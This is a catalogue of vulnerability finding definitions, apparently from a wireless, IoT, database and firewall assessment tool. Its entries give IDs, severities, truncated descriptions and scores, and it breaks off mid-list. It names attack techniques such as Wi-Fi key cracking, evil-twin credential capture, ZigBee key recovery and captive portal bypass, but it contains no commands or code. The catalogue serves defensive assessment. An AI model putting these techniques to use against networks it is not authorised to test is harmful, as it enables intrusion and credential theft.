AETHB-014 INFO Bluetooth Denial of Service — ACL/SCO Flooding Causing Device Disconnect
The target Bluetooth device is susceptible to denial-of-service via rapid ACL connection request flooding, malformed SCO...
5.3 —
AETHB-015 INFO Firmware Extraction via JTAG/SWD — Physical Firmware Dump
The target Bluetooth device exposes an unprotected JTAG or SWD debug interface on the PCB that allows extraction of the ...
7.2 —
AETHU-001 INFO Ghost Peak Distance Reduction Attack
The Ghost Peak attack is a physical-layer distance reduction attack targeting IEEE 802.15.4z HRP UWB ranging. An attacke...
9.2 —
AETHU-002 INFO RTLS Management Console Default Credentials
The RTLS management console (Sewio RTLS Studio, Pozyx Creator, or equivalent) is accessible with factory-default credent...
9.8 —
AETHU-003 INFO Unauthenticated MQTT Broker
The MQTT broker used by the RTLS platform accepts connections on TCP port 1883 without requiring a username or password,...
8.6 —
AETHU-004 INFO RTLS Position Data Injection via MQTT
When the MQTT broker lacks authentication (or when credentials are weak and obtainable), an attacker can publish arbitra...
8.1 —
AETHU-005 INFO SQL Injection in RTLS Reporting Module
The RTLS web platform contains SQL injection vulnerabilities in reporting and analytics endpoints where user-supplied pa...
8.5 —
AETHU-006 INFO Unauthenticated RTLS REST API Endpoints
Multiple REST API endpoints in the RTLS management platform are accessible without any authentication token or session c...
7.5 —
AETHU-007 INFO UWB STS Key Weakness
The Scrambled Timestamp Sequence (STS) used by IEEE 802.15.4z HRP UWB to authenticate ranging frames is derived from a s...
7.8 —
AETHU-008 INFO Cleartext UWB Ranging Exchange
UWB ranging frames (Poll, Response, Final) are transmitted in IEEE 802.15.4z SP0 mode without STS or payload encryption,...
6.5 —
AETHU-009 INFO RTLS Anchor Firmware Update Without Signature Verification
The RTLS anchor firmware update mechanism accepts firmware images submitted via the management API or a dedicated OTA up...
7.9 —
AETHU-010 INFO MQTT Cleartext Credential Transmission
MQTT clients connecting to the RTLS broker transmit credentials (username and password) in cleartext over TCP port 1883 ...
6.8 —
AETHU-011 INFO RTLS Zone Boundary Bypass
By combining the Ghost Peak distance reduction technique (AETHU-001) with knowledge of zone boundary geometry extracted ...
7.6 —
AETHU-012 INFO Anchor RF Flooding / Denial of Service
The UWB channel used by the RTLS anchors can be saturated with high-rate UWB pulse transmissions from an attacker-contro...
5.8 —
AETHU-013 INFO RTLS Cross-Site Scripting (XSS) in Dashboard
The RTLS web dashboard reflects tag label values and custom metadata fields into the HTML page without adequate output e...
6.1 —
AETHU-014 INFO Insecure Direct Object Reference in RTLS API
The RTLS REST API uses sequential integer or predictable UUID identifiers for sensor records, tags, and user accounts, a...
6.5 —
AETHU-015 INFO Physical UWB Frame Injection
An attacker with physical access to the RF environment and an RF injection-capable device (e.g., a second DWM3000EVB wit...
7.4 —
AETHZ-001 INFO ZigBee Network Key Recovered via Join Intercept
Network encryption key intercepted during device join event, enabling full traffic decryption and authenticated injectio...
9.1 —
AETHZ-002 INFO Default Trust Center Link Key (TCLK) in Use
ZigBeeAlliance09 well-known TCLK is in use. Any attacker within RF range can decrypt the key transport frame sent during...
9.0 —
AETHZ-003 INFO ZigBee Network Key in Plaintext Configuration
Network key found in plaintext in Zigbee2MQTT or gateway configuration file. Any user or process with read access to the...
7.5 —
AETHZ-004 INFO ZigBee Replay Attack Successful
Replayed ZCL command frames accepted by target device. Frame counter validation is not enforced or the acceptance window...
7.4 —
AETHZ-005 INFO ZCL Command Injection Successful
Authenticated ZCL commands injected using recovered network key. Security-sensitive commands including door lock, alarm ...
9.6 —
AETHZ-006 INFO ZLL Touchlink Device Stolen
Target ZigBee Light Link device stolen and joined to an attacker-controlled network using the leaked ZLL Master Key. The...
9.0 —
AETHZ-007 INFO ZLL Touchlink Factory Reset Successful
ZLL touchlink factory reset command was accepted by the target device, removing it from its production network. This con...
7.5 —
AETHZ-008 INFO ZigBee Network Denial-of-Service Successful
ZigBee network disrupted via PAN-ID conflict flood or association flood. Devices were disconnected from the network or u...
6.5 —
AETHZ-009 INFO ZigBee Network Key Extracted from Device Firmware
Network or link key material extracted from ZigBee device firmware via JTAG debug interface or direct flash memory dump....
8.8 —
AETHZ-010 INFO ZigBee Join Window Permanently Open
The ZigBee coordinator's join permission window is permanently open, allowing any device to join the network at any time...
7.1 —
AETHZ-011 INFO Unauthenticated ZDO Enumeration
ZigBee Device Object (ZDO) enumeration reveals all endpoints, clusters, and device capabilities without requiring the Zi...
5.3 —
AETHZ-012 INFO Hardcoded ZigBee Credentials in Device Firmware
Hardcoded network key or link key found in device firmware binary via static analysis. The key is identical across all d...
9.3 —
AETHZ-013 INFO OTA Firmware Update Not Authenticated
Over-the-air firmware updates are accepted by the target device without cryptographic signature verification. An attacke...
8.2 —
AETHZ-014 INFO ZigBee Protocol Fuzzing Induced Device Crash
Malformed ZigBee protocol frames caused the target device to crash or become unresponsive. Fuzzing of IEEE 802.15.4 MAC ...
7.5 —
AETHZ-015 INFO ZLL Master Key Deployment Detected
Target network uses ZigBee Light Link (ZLL) with the publicly-leaked ZLL Master Key, exposing all touchlink commissionin...
9.0 —
AETHER-001 CRITICAL WPA Pre-Shared Key Cracked
wifite2 successfully recovered the WPA/WPA2/WPA3 pre-shared key (PSK) for the target SSID via offline dictionary attack ...
8.1 —
AETHER-002 HIGH WPA Handshake Captured
A complete WPA/WPA2 4-way handshake or PMKID was captured for the target SSID. While the PSK has not yet been recovered,...
6.8 —
AETHER-003 CRITICAL WPA-Enterprise Credentials Captured
EAPHammer deployed a rogue AP that successfully impersonated the target WPA-Enterprise network, downgrades the 802.1X EA...
8.8 —
AETHER-004 HIGH WPA3 SAE Dragonblood — Invalid Curve Attack Confirmed
The target WPA3 SAE implementation accepted an invalid elliptic-curve point during the SAE Commit exchange (attack mode ...
7.4 —
AETHER-005 HIGH WPA3 SAE Dragonblood — Reflection Attack Confirmed
The target WPA3 SAE implementation is vulnerable to the SAE reflection attack (attack mode 0). By reflecting the AP's ow...
7.4 —
AETHER-006 HIGH WPA3 SAE Dragonblood — Secondary Invalid Curve Attack Confirmed
The target WPA3 SAE implementation is vulnerable to a secondary invalid curve attack variant (attack mode 2). This varia...
7.4 —
AETHER-007 HIGH WPA3 SAE Dragonblood — Zero-Scalar Attack Confirmed
The target WPA3 SAE implementation accepted a SAE Commit message with a zero scalar value (attack mode 3). Sending a sca...
7.4 —
AETHER-008 MEDIUM WPA3 SAE Resource Exhaustion (Dragondrain) Tested
The target AP was subjected to the Dragondrain SAE commit-flooding attack (CVE-2019-9496). The AP was flooded with forge...
5.9 —
AETHER-009 HIGH WPA2 KRACK Vulnerability — Standard 4-Way Handshake Reinstallation
The target client or AP is vulnerable to the KRACK key reinstallation attack targeting the standard 4-way handshake (CVE...
8.1 —
AETHER-010 HIGH WPA2 KRACK Vulnerability — TPTK Variant
The target is vulnerable to the KRACK Temporal PTK (TPTK) variant (CVE-2017-13078). This variant exploits the handling o...
8.1 —
AETHER-011 HIGH WPA2 KRACK Vulnerability — Group Key Reinstallation
The target is vulnerable to KRACK group key reinstallation (CVE-2017-13080). By replaying group key handshake message 1,...
8.1 —
AETHER-012 HIGH WEP Encryption in Use
The target network uses WEP (Wired Equivalent Privacy), which has been cryptographically broken since 2001 (CVE-2001-030...
9.1 —
AETHER-013 CRITICAL WEP Key Cracked
aircrack-ng recovered the WEP key using the PTW statistical attack against collected IVs. With the key an attacker can d...
9.8 —
AETHER-014 MEDIUM Open / Unencrypted Wireless Network
The target network operates without wireless encryption (open authentication, no WEP/WPA). All data is transmitted in cl...
9.8 —
AETHER-015 MEDIUM WPS Enabled on Access Point
Wi-Fi Protected Setup (WPS) is enabled on the target AP. WPS PIN-based authentication has a fundamental design flaw: the...
7.5 —
AETHER-016 MEDIUM WPA3 Transition Mode — Downgrade Attack Surface
The target AP is operating in WPA3-Transition mode (WPA2/WPA3 mixed mode), simultaneously supporting both WPA2 and WPA3 ...
7.5 —
AETHER-017 HIGH WPA PMKID / EAPOL Hash Captured
hcxdumptool captured a PMKID or EAPOL hash for the target SSID without requiring a connected client or deauthentication....
6.8 —
AETHER-018 CRITICAL MSCHAPv2 Hash Cracked via asleap
asleap successfully cracked the MSCHAPv2 challenge/response captured by EAPHammer's rogue AP. MSCHAPv2 is inherently wea...
8.8 —
AETHER-019 HIGH Rogue AP — Clients Associated to Evil Twin
One or more wireless clients associated to an attacker-controlled rogue AP that cloned the target SSID and BSSID. Client...
7.5 —
AETHER-020 CRITICAL Rogue AP — WPA Pre-Shared Key Phished via Captive Portal
A client associated with the rogue AP and submitted a WPA PSK via a captive portal page that mimicked the target network...
9.0 —
AETHER-021 CRITICAL KARMA / MANA Attack — Client Credentials Captured
A KARMA/MANA rogue AP responded to probe requests from clients seeking previously associated networks and captured crede...
8.8 —
AETHER-022 MEDIUM Protected Management Frames (PMF / 802.11w) Not Enforced
The target AP does not require Protected Management Frames (PMF/802.11w). A deauthentication or disassociation frame sen...
5.3 —
AETHER-023 MEDIUM BSS Transition Management (802.11v) Hijack Accepted
A crafted BSS Transition Management (BTM) request (802.11v, Category 10 Action 7) was accepted by a client, causing it t...
6.5 —
AETHER-024 LOW Client Probe Request Harvest — Remembered Network Disclosure
Wireless clients in the vicinity are broadcasting probe requests containing the SSIDs of previously associated networks....
3.7 —
AETHER-025 CRITICAL EAP Downgrade — Weak EAP Method Credentials Captured
EAPHammer with balanced negotiation captured credentials by accepting a weaker EAP method (e.g. PEAP/MSCHAPv2 or EAP-MD5...
8.8 —
AETHER-026 MEDIUM SAE Transition Mode — WPA2 Downgrade Attack Surface
The target AP operates in WPA3/WPA2 transition mode and a WPA2-only rogue AP was created with the same SSID. Clients sup...
6.8 —
AETHER-027 HIGH ARP Cache Poisoning — MITM Position Established
ARP cache poisoning was successfully performed on the rogue AP's subnet, placing the assessment system in a man-in-the-m...
7.4 —
AETHER-028 HIGH LLMNR / NBT-NS Poisoning — NTLMv2 Hashes Captured
Responder successfully poisoned LLMNR (Link-Local Multicast Name Resolution) and/or NBT-NS (NetBIOS Name Service) querie...
8.0 —
AETHER-029 INFO Internal Hosts Discovered via Post-Connection Port Scan
An nmap scan of the wireless subnet revealed live hosts and open services accessible to wireless clients. This establish...
— —
AETHER-030 MEDIUM TKIP Encryption in Use
The target network uses TKIP (Temporal Key Integrity Protocol), a deprecated encryption scheme that was introduced as a ...
5.9 —
AETHER-031 HIGH TKIP ChopChop / Fragmentation Attack — Packet Decryption Confirmed
A TKIP ChopChop or fragmentation attack (Beck-Tews / Ohigashi-Morii) was confirmed against the target network. An attack...
7.5 —
AETHER-032 LOW Wi-Fi Direct / P2P Device Discovered
A Wi-Fi Direct (P2P) capable device was discovered in the assessment area. Wi-Fi Direct devices create their own access ...
4.0 —
AETHER-033 HIGH Wi-Fi Direct WPS PIN Cracked — Device Compromised
The WPS PIN for a Wi-Fi Direct device was recovered via reaver or a Pixie Dust offline attack. An attacker with this PIN...
7.5 —
AETHER-CAP-DNS-EXTERNAL HIGH Captive Portal: External DNS Resolution Pre-Authentication
Unauthenticated clients on the open SSID can resolve arbitrary hostnames via external DNS resolvers (e.g. 1.1.1.1, 8.8.8...
7.4 CWE-284 CWE-693
AETHER-CAP-DNS-TUNNEL CRITICAL Captive Portal: DNS Tunneling Viability Confirmed
A long random-subdomain DNS query (40 chars, characteristic of DNS tunneling tools) was successfully forwarded by the ca...
9.6 CWE-284 CWE-693
AETHER-CAP-HTTP-DIRECT MEDIUM Captive Portal: Direct HTTP to Arbitrary IP Pre-Authentication
Direct HTTP to an arbitrary IP address (without DNS lookup) succeeded from an unauthenticated client. The captive portal...
5.3 CWE-284
AETHER-CAP-HTTPS-DIRECT MEDIUM Captive Portal: Direct HTTPS to Arbitrary IP Pre-Authentication
Direct HTTPS to an arbitrary IP address succeeded from an unauthenticated client. The captive portal does not block outb...
5.3 CWE-284
AETHER-CAP-IPV6 HIGH Captive Portal: IPv6 Dual-Stack Bypass
Direct outbound traffic over IPv6 succeeded from an unauthenticated client on the open SSID, while IPv4 traffic was (or ...
7.4 CWE-284 CWE-693
AETHER-034 MEDIUM Captive Portal Bypass Confirmed
The target captive portal was bypassed using one or more techniques: DNS tunnelling (exfiltrating data via DNS queries t...
5.3 —
AE-001 Multiple APs Broadcasting SSID: {ssid_label} — —
AE-002 WPA Handshake / PMKID Captured: {ssid} — —
AE-003 WPA Pre-Shared Key Cracked via Deauth: {ssid} — —
AE-004 WPA Pre-Shared Key Cracked: {ssid} — —
AE-005 WPS PIN / Pixie Dust Succeeded: {ssid} — —
AETHER-CERT-001 HIGH Weak Server Certificate Algorithm or Key Length
The RADIUS server certificate used for EAP-TLS (or PEAP/TTLS server validation) uses a signature algorithm or RSA key le...
6.8 —
AETHER-CERT-002 MEDIUM Server Certificate Expired or Expiring Soon
The RADIUS server certificate has either passed its Not After date (expired) or is within 30 days of expiry. EAP-TLS aut...
4.0 —
AETHER-CERT-003 MEDIUM Server Certificate Self-Signed or From Unrecognised CA
The RADIUS server certificate is self-signed (Subject == Issuer) or issued by a CA not present in the standard public ro...
5.0 —
AETHER-CERT-004 MEDIUM Server Certificate Issuer Reveals Internal CA Infrastructure
The Issuer field of the RADIUS server certificate contains terms suggesting an internal Certificate Authority (e.g., CN=...
4.3 —
AETHER-CERT-005 LOW Server Cert SAN Reveals Internal RADIUS Hostnames
The Subject Alternative Name field of the RADIUS server cert contains hostnames suggesting RADIUS server infrastructure ...
3.1 —
AETHER-CERT-006 INFO Server Certificate Uses Strong Modern Algorithm (Positive)
The RADIUS server certificate uses SHA-256 or stronger signature, RSA-2048 or stronger (or ECDSA), is signed by a recogn...
— —
AETHER-INFO-CERT-CAPTURED INFO Server Certificate Captured From EAP Exchange
A server certificate presented during an EAP-TLS / PEAP / TTLS exchange was captured passively from observed wireless tr...
— —
AETHER-EAPTLS-001 MEDIUM EAP Outer Identity Leaks User-Realm Format
The EAP-Response/Identity message (the OUTER EAP identity sent in cleartext before TLS negotiation) contains a username ...
5.3 —
AETHER-EAPTLS-002 CRITICAL Client Supplicant Fails to Validate Server Certificate (Evil Twin Succeeds Against EAP-TLS)
An evil-twin rogue AP with a self-signed cert successfully attracted a client supplicant which proceeded past server-cer...
8.1 —
AETHER-EAPTLS-003 MEDIUM Client Supplicant Attempts Authentication Against Rogue AP
A client supplicant attempted EAP authentication against an unauthorised AP impersonating the corporate SSID, then abort...
4.0 —
AETHER-MERAKI-001 INFO Meraki Infrastructure Identified
One or more wireless APs in scope identified as Cisco-Meraki by MAC OUI prefix or vendor-specific IE pattern. Contextual...
— —
AETHER-MERAKI-002 INFO Meraki Beacon IE Captured for Fingerprinting
The vendor-specific Information Element from a Meraki AP beacon was captured for offline fingerprinting / firmware-versi...
— —
AETHER-MERAKI-003 INFO Multiple SSIDs On Shared Physical AP
Multiple SSIDs share a common BSSID prefix, indicating they are virtual SSIDs on the same physical Meraki AP radio. If a...
— —
AETHER-MERAKI-004 INFO Meraki Systems Manager Domain Referenced in Client Traffic
Client DHCP/DNS probe analysis observed references to meraki.com, air-marshal.meraki.com, or Meraki Systems Manager enro...
— —
AETHER-IPSK-001 HIGH iPSK MAC-Inheritance Test Succeeded
On a Meraki SSID using Identity PSK (iPSK), the test confirmed that authentication is keyed primarily on MAC address — s...
7.4 —
AETHER-IPSK-002 MEDIUM iPSK Suspected — Per-Client PMKID Variance Observed
Multiple clients associated to the same WPA2-PSK SSID exhibited distinct PMKIDs in captured EAPOL frames. This is the st...
3.7 —
AETHER-IPSK-003 MEDIUM iPSK SSID Deployed Alongside Cert-Auth SSID on Same Physical AP
An iPSK SSID shares a physical AP with a cert-authenticated SSID. The wireless infrastructure security posture is now bo...
4.5 —
AETHER-SPLASH-001 MEDIUM Captive Portal Session Bound To MAC Alone
The captive portal (splash page) session is identified by the client's MAC address alone, with no secondary binding. An ...
5.0 —
AETHER-SPLASH-002 HIGH Captive Portal DNS Bypass — External Resolution Pre-Auth
From the guest SSID before completing the captive portal sign-in, DNS queries to external resolvers (e.g., 8.8.8.8) succ...
6.5 —
AETHER-SPLASH-003 MEDIUM Captive Portal ICMP Bypass — External Echo Pre-Auth
ICMP echo (ping) to external hosts succeeds before splash auth completion. While less exploitable than DNS bypass, this ...
4.0 —
AETHER-SPLASH-004 LOW Captive Portal Reveals AP / Vendor Information
HTTP headers of the captive portal redirect or splash page contain identifying information about the AP vendor, firmware...
3.1 —
AETHER-INFO-AP INFO AP Observed and Cataloged
An access point was observed during the wireless intelligence phase and recorded with its BSSID, SSID, channel, encrypti...
— —
AETHER-INFO-CLIENT INFO Client Device Observed and Cataloged
A client (STA) device was observed associated to a target AP or actively probing for SSIDs. Catalogued with MAC, vendor ...
— —
AETHER-INFO-VENDOR INFO Vendor Identified via MAC OUI
The MAC OUI of an observed device was matched against the IEEE OUI database to identify the manufacturer and product lin...
— —
AETHER-INFO-AUTH-TYPE INFO Authentication Type Classified
The advertised encryption and authentication mode for an SSID was classified into one of: OPEN, WEP, WPA2-PSK, WPA2-Ente...
— —
AETHER-INFO-CHANNEL INFO Channel Allocation Observed
An AP's operating channel was observed during scanning. Recorded for spectrum-planning analysis and for documentation of...
— —
AETHER-INFO-PROBE INFO Client Probe Request Observed
A client device sent a probe request asking for a specific SSID. Probed SSIDs reveal the client's Preferred Network List...
— —
AETHER-INFO-MIXED-AUTH HIGH Inconsistent Authentication Modes Across APs for Same SSID
An SSID was observed broadcast across multiple BSSIDs with materially different authentication modes. Example: the same ...
7.4 CWE-757 CWE-326
AETHER-INFO-EAP-IDENTITY INFO EAP Outer Identity Observed
The outer (cleartext) EAP-Response/Identity value sent by a client at the start of an EAP exchange was observed. Recorde...
— —
AU-001 CouchDB Default Credentials: {user}/{pwd} — —
AU-002 End-of-Life Cassandra Version: {ver} — —
AU-003 End-of-Life Elasticsearch Version: {ver} — —
AU-004 End-of-Life MongoDB Version: {ver} — —
AU-005 End-of-Life MSSQL Version: SQL Server {yr} — —
AU-006 End-of-Life MySQL/MariaDB Version: {ver} — —
AU-007 End-of-Life Oracle Database Version: {ver} — —
AU-008 End-of-Life PostgreSQL Version: {ver_num} — —
AU-009 End-of-Life Redis Version: {ver} — —
AU-010 InfluxDB Default Credentials: {user}/{pwd} — —
AU-011 Neo4j Dangerous Procedure Publicly Accessible: {name} — —
AU-012 Neo4j Default Credentials: {user}/{pwd} — —
AU-013 Audit Logging Disabled — —
AU-014 Cassandra: AllowAllAuthenticator Configured (No Authentication) — —
AU-015 Cassandra: Client-to-Server Encryption Disabled — —
AU-016 Cassandra: Default cassandra/cassandra Credentials in Use — —
AU-017 Cassandra: Multiple Superuser Accounts — —
AU-018 Cleartext Database Protocol (No TLS/SSL) — —
AU-019 CouchDB Admin Party Mode — No Admin Accounts Configured — —
AU-020 CouchDB Node Configuration Exposed Without Authentication — —
AU-021 CouchDB: Unauthenticated Access to /_all_dbs — —
AU-022 Dangerous Oracle PUBLIC Execute Grants (UTL_FILE/DBMS_SQL etc.) — —
AU-023 Database Listening on All Network Interfaces (0.0.0.0) — —
AU-024 Default Credentials in Use — —
AU-025 Elasticsearch: Index Enumeration Without Authentication — —
AU-026 Elasticsearch: Security Features Disabled (X-Pack Security) — —
AU-027 Elasticsearch: Unauthenticated Cluster Information Exposed — —
AU-028 Excessive Oracle System Privileges Granted to Non-SYS Accounts — —
AU-029 Expired TLS Certificate — —
AU-030 InfluxDB 2.x Buckets Exposed Without Authentication — —
AU-031 InfluxDB 2.x Initial Setup Not Completed — —
AU-032 InfluxDB 2.x: Authorizations Endpoint Accessible Without Token — —
AU-033 Memcached: Cached Data Keys Enumerable Without Authentication — —
AU-034 Memcached: No Authentication (SASL Not Supported) — —
AU-035 Memcached: Runtime Statistics Accessible Without Authentication — —
AU-036 Memcached: SASL Authentication Disabled — —
AU-037 MongoDB: Authentication Disabled — —
AU-038 MongoDB: No TLS/SSL Configured — —
AU-039 MongoDB: Server-Side JavaScript Execution Enabled — —
AU-040 MongoDB: User with Root or __system Role — —
AU-041 MSSQL: Ad Hoc Distributed Queries Enabled — —
AU-042 MSSQL: BUILTIN\\Administrators in Sysadmin Role — —
AU-043 MSSQL: CLR Integration Enabled — —
AU-044 MSSQL: Database Mail Enabled — —
AU-045 MSSQL: Linked Servers Configured — —
AU-046 MSSQL: Mixed Mode Authentication with SQL Logins Not Subject to Password Policy — —
AU-047 MSSQL: OLE Automation Procedures Enabled — —
AU-048 MSSQL: SA Account Enabled — —
AU-049 MSSQL: Transparent Data Encryption (TDE) Not Enabled — —
AU-050 MSSQL: xp_cmdshell Enabled — —
AU-051 MySQL: Anonymous User Account Present — —
AU-052 MySQL: General Query Log Enabled — —
AU-053 MySQL: LOCAL INFILE Enabled — —
AU-054 MySQL: Password Validation Plugin Not Installed — —
AU-055 MySQL: Password Validation Policy Set to LOW — —
AU-056 MySQL: Root Account Accessible Remotely — —
AU-057 MySQL: secure_file_priv Not Configured — —
AU-058 MySQL: sql_mode Too Permissive — —
AU-059 MySQL: Symlink Support Enabled — —
AU-060 MySQL: Test Database Present and Accessible — —
AU-061 MySQL: TLS Not Required (Optional Only) — —
AU-062 MySQL: User Account with Wildcard Host (%) — —
AU-063 Neo4j Authentication Disabled (dbms.security.auth_enabled=false) — —
AU-064 Neo4j Cluster Mode Detected — Verify Firewall Isolation — —
AU-065 Oracle Accounts Using Weak 10g DES Password Hash — —
AU-066 Oracle Default Sample Schema Accounts Active — —
AU-067 Oracle Label Security (OLS) Not Enabled — —
AU-068 Oracle REMOTE_OS_AUTHENT Enabled — —
AU-069 Oracle Unified Auditing Disabled — —
AU-070 Oracle UTL_FILE_DIR Wildcard — Arbitrary File Read/Write — —
AU-071 PostgreSQL: Connection Logging Disabled — —
AU-072 PostgreSQL: COPY TO/FROM PROGRAM Feature Accessible — —
AU-073 PostgreSQL: Dangerous Extensions Installed — —
AU-074 PostgreSQL: Excessive Permissions on Public Schema — —
AU-075 PostgreSQL: Row-Level Security Not Enabled on Sensitive Tables — —
AU-076 PostgreSQL: Superuser Account Accessible Remotely — —
AU-077 PostgreSQL: Weak Password Encryption (MD5) — —
AU-078 Redis: Dangerous Commands Not Renamed or Disabled — —
AU-079 Redis: Default ACL User Has Full Access (nopass +@all) — —
AU-080 Redis: No Authentication Configured (requirepass Not Set) — —
AU-081 Redis: Protected Mode Disabled — —
AU-082 Self-Signed or Expired TLS Certificate — —
AU-083 Sensitive Data Columns Identified (Potential PII/PHI/PCI Scope) — —
AU-084 Weak Cipher Suites Accepted — —
AU-085 Weak TLS Version (TLS 1.0 or TLS 1.1) — —
AP-001 AuthProbe Discovery: {host} — —
AP-002 Missing Security Header: {header} — —
AP-003 HTTP Basic Authentication in Use — —
BA-001 CRITICAL No Default-Deny Rule at End of Policy
No explicit default-deny (implicit permit-all) rule exists at the end of the access control list or policy group. Traffi...
9.8 —
BA-002 CRITICAL Any-Any-Any Permit Rule Detected
A firewall rule permits all traffic from any source to any destination on all ports and protocols. This is the most dang...
10.0 —
BA-003 LOW Disabled Rules Present in Production Configuration
One or more firewall rules are disabled (inactive) in the production configuration. Disabled rules accumulate over time ...
3.7 —
BA-004 MEDIUM Duplicate Firewall Rules Detected
Two or more firewall rules have identical source, destination, port, and action specifications. Duplicate rules indicate...
2.6 —
BA-005 MEDIUM Shadowed Rules — Unreachable Policy Entries
One or more firewall rules are completely covered (shadowed) by earlier, broader rules and will never be evaluated. Shad...
3.7 —
BA-006 LOW Suboptimal Rule Ordering
Frequently-hit rules appear after less-used rules in the policy list. This degrades performance as the firewall must eva...
3.1 —
BA-007 CRITICAL RDP Permitted from Any Source
A firewall rule permits Remote Desktop Protocol (RDP, TCP 3389) inbound from any source address. RDP is one of the most ...
9.8 —
BA-008 HIGH SSH Permitted from External/Untrusted Sources
A firewall rule permits SSH (TCP 22) from untrusted or external sources. SSH brute-force attacks are extremely common ag...
9.4 —
BA-009 HIGH Telnet Permitted Through Firewall
A firewall rule permits Telnet (TCP 23). Telnet transmits all data including credentials in plaintext and has been depre...
8.2 —
BA-010 MEDIUM FTP Permitted Through Firewall
A firewall rule permits FTP (TCP 20/21). FTP transmits credentials and data in plaintext and supports anonymous authenti...
6.5 —
BA-011 CRITICAL SMB Permitted from External Sources (TCP 445)
A firewall rule permits SMB (TCP 445) from external/untrusted sources. SMB is the primary protocol used by ransomware (W...
10.0 —
BA-012 HIGH MS-RPC Permitted from External Sources (TCP 135)
A firewall rule permits Microsoft RPC (TCP 135) from external sources. MS-RPC is a critical Windows service used for DCO...
10.0 —
BA-013 HIGH NetBIOS Permitted Through Firewall
A firewall rule permits NetBIOS (UDP 137-138, TCP 139) traffic. NetBIOS is a legacy Windows protocol that enables reconn...
8.2 —
BA-014 HIGH SNMP Permitted from Any Source
A firewall rule permits SNMP (UDP 161) from any source address. SNMP exposes device configurations, routing tables, and ...
8.2 —
BA-015 HIGH SNMP v1/v2c Weak Authentication Exposure
SNMP is permitted through the firewall with likely v1/v2c community string authentication. SNMPv1 and v2c use cleartext ...
6.5 —
BA-016 HIGH WinRM Permitted from External Sources (TCP 5985/5986)
A firewall rule permits Windows Remote Management (WinRM, TCP 5985 HTTP or 5986 HTTPS) from external sources. WinRM prov...
9.8 —
BA-017 CRITICAL Database Ports Exposed to External Sources
A firewall rule permits database service ports (MySQL TCP 3306, MSSQL TCP 1433, PostgreSQL TCP 5432, Oracle TCP 1521) fr...
9.8 —
BA-018 CRITICAL Elasticsearch Exposed to External Sources (TCP 9200/9300)
A firewall rule permits Elasticsearch (TCP 9200 HTTP API or 9300 transport) from external or untrusted sources. Elastics...
9.8 —
BA-019 CRITICAL Redis/Memcached Exposed to External Sources
A firewall rule permits Redis (TCP 6379) or Memcached (TCP/UDP 11211) from external sources. Both services have no authe...
9.8 —
BA-020 HIGH TFTP Permitted Through Firewall
A firewall rule permits TFTP (UDP 69). TFTP has no authentication mechanism — any client that can reach the TFTP server ...
8.2 —
BA-021 MEDIUM NTP Access Not Restricted to Trusted Sources
A firewall rule permits NTP (UDP 123) from any source without restriction. Open NTP servers can be abused for reflection...
8.6 —
BA-022 LOW DNS Outbound Not Restricted to Authorised Resolvers
Outbound DNS (UDP/TCP 53) is permitted from any internal host to any external destination, allowing direct DNS resolutio...
6.5 —
BA-023 INFO ICMP Not Restricted
ICMP is permitted without source or destination restriction. While necessary for network diagnostics, unrestricted ICMP ...
3.7 —
BA-024 CRITICAL Management Access Not Restricted to Management Zone
Firewall management interfaces (HTTPS, SSH, ASDM) are accessible from any source address, including untrusted networks.
9.8 —
BA-025 HIGH HTTP Used for Device Management
HTTP (cleartext) is enabled for firewall or device management. All management traffic including credentials is transmitt...
8.2 —
BA-026 CRITICAL Telnet Used for Device Management
Telnet is enabled as a device management protocol. Telnet provides no encryption, authentication challenge-response visi...
9.8 —
BA-027 CRITICAL No Source Restriction on SSH/HTTPS Management Access
SSH or HTTPS management access is configured without a source IP restriction, allowing management access from any networ...
9.8 —
BA-028 HIGH HTTPS Management Accessible from Any Source
HTTPS device management is accessible from any source IP address. While HTTPS provides encryption, unrestricted access e...
8.2 —
BA-029 HIGH Permit Rules Without Logging Enabled
One or more permit (allow) rules do not have logging enabled. Traffic matching these rules is not captured in firewall l...
7.5 —
BA-030 MEDIUM Deny Rules Without Logging Enabled
One or more deny rules do not have logging enabled. Blocked connection attempts are not captured in firewall logs.
5.3 —
BA-031 CRITICAL No Logging Configured — Complete Forensic Blind Spot
No firewall rules in this configuration have logging enabled. The firewall is operating without any security event loggi...
7.5 —
BA-032 HIGH No DMZ (Demilitarised Zone) Detected
No DMZ zone or interface has been identified in the firewall configuration. Public-facing services appear to be placed i...
10.0 —
BA-033 HIGH Direct Internet-to-Internal Permit Without DMZ Intermediate
Permit rules exist that allow direct traffic from the external/internet zone to internal high-trust zones without passin...
10.0 —
BA-034 HIGH Flat Network — Only One Zone or Interface Defined
The firewall configuration defines only a single zone or network interface. All traffic flows through a single segment w...
10.0 —
BA-035 MEDIUM Server-to-Workstation Traffic Unrestricted
No rules restrict east-west traffic between server and workstation segments. Servers can initiate connections to worksta...
9.9 —
BA-036 HIGH Internal RFC-1918 Addresses Potentially Reachable Without NAT
Permit rules allow traffic to private (RFC-1918) destination addresses from external zones without corresponding NAT tra...
6.5 —
BA-037 MEDIUM 1:1 Static NAT Exposes Internal Host Directly to Internet
A 1:1 static NAT mapping exposes an internal host directly to the internet with full port translation. All ports on the ...
6.5 —
BA-038 MEDIUM IPv6 Traffic Not Addressed in Policy
The firewall configuration does not include explicit IPv6 policy rules. If IPv6 is enabled on interfaces, traffic may be...
4.8 —
BA-039 MEDIUM GRE/IPSec Tunnels Permitted Without Authentication Requirement
GRE (protocol 47) or IPSec (ESP/AH, protocols 50/51) tunnelling is permitted without authentication requirements enforce...
4.8 —
BA-040 HIGH BGP/OSPF Routing Protocols Permitted from External Sources
BGP (TCP 179) or OSPF routing protocol traffic is permitted from external or untrusted sources. Routing protocol injecti...
10.0 —
BA-041 MEDIUM Outbound SMTP Not Restricted to Mail Relay
Outbound SMTP (TCP 25) is permitted from internal networks to any external destination, allowing any internal host to se...
6.5 —
BA-042 MEDIUM TLS/SSL Bypass or Inspection Not Configured
Encrypted traffic (HTTPS/TLS) is permitted through the firewall without any indication of SSL/TLS inspection being confi...
5.3 —
BA-043 MEDIUM VoIP SIP Permitted Without Restriction
SIP (Session Initiation Protocol, UDP/TCP 5060/5061) is permitted from untrusted sources without source restriction. SIP...
7.3 —
BA-044 LOW Video Conferencing Ports Unrestricted
Video conferencing service ports (Zoom 8801-8802, Teams 3478-3481, Webex) are permitted from any source without restrict...
3.7 —
BA-045 HIGH MQTT IoT Protocol Exposed (TCP 1883/8883)
MQTT broker ports (TCP 1883 unencrypted or 8883 TLS) are accessible from untrusted sources. MQTT is the primary IoT mess...
9.4 —
BA-046 MEDIUM RDP Permitted on Non-Standard Ports
